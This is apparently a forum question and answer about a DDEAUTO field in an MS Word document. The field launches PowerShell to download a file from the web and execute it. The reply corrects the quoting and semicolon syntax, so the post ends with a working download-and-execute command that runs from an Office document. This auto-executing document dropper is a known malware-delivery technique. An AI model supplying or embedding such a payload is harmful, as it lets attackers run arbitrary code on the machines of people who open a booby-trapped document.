I am trying to create a DDEAUTO script in MS Word to download and execute a file.
The code is following:
{
DDEAUTO
"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://www.7-zip.org/a/7z1701-x64.exe', 'file.exe')
Start-Process 'file.exe' " "Message Text"
}
The script downloads the file as file.exe but doesn't execute.
I get an error saying :
Start Process : A positional parameter can not be found that accepts argument 'f'
The same code works completely if I use it directly in the PowerShell but not when I am calling it from MS Word.
The following is the screenshot of the error:
You need to put the code you want powershell to execute inside the quotation marks.
{
DDEAUTO c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe "(New-Object System.Net.WebClient).DownloadFile('http://www.7-zip.org/a/7z1701-x64.exe', 'file.exe');
start-process 'file.exe'"
}
Oh, and if you wanna run multiple commands, they need to be semicolon(;) seperated.